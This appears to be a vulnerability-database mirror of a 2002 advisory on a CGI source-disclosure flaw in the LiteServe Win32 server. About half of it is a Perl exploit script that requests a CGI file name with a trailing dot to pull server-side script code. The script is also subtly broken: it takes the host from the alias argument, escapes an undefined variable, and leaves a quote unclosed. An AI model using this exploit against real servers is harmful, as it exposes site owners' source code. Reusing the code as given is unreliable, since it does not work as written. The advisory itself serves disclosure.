Lucene search
K

liteserve.txt

🗓️ 17 Nov 2002 00:00:00Reported by Matthew MurphyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

LiteServe server for Win32 has a CGI vulnerability that may disclose scripts to attackers.

Code
`Christopher Fillion's "Perception" web site hosts the LiteServe combination  
server for Win32. The server offers HTTP, FTP, SMTP, POP3, and Telnet  
services. Included in the HTTP service is a Common Gateway Interface (CGI)  
feature that allows you to specify a CGI alias, as well as "filters" that  
are run when a file of a particular type is accessed.  
  
A vulnerability in the server related to the handling of filenames on Win32  
platforms may reveal the code of a desired CGI script to an attacker.   
Windows handles file names with the "." character (0x2E) on the end as if  
the said character had been removed. LiteServe fails to compensate for  
this behavior, and is vulnerable to a simple CGI disclosure attack.  
  
The upcoming release of LiteServe 2.03 should eliminate this vulnerability.  
  
Exploit  
  
#!/usr/bin/perl  
#  
# LS_FETCH.PL  
# By Matthew Murphy  
# LiteServe 2.02 and prior - CGI Disclosure  
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]  
use IO::Socket;  
use URI::Escape;  
  
$alias = "cgi-isapi"; # Default LiteServe CGI alias  
$port = 80;  
if (@ARGV < 2 || @ARGV > 4) {  
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]  
} else {  
if (@ARGV >= 3) {   
$alias = $ARGV[2];  
}  
if (@ARGV == 4) {  
$port = $ARGV[3];  
}  
$filename = $ARGV[1];  
$host = $ARGV[2];  
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");  
$f->autoflush(1);  
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));  
print $f $b;  
while (defined($line=<$f>)) {  
print STDOUT $line;  
}  
undef $f;  
}  
  
--------------------------------------------------------------------  
mail2web - Check your email from the web at  
http://mail2web.com/ .  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation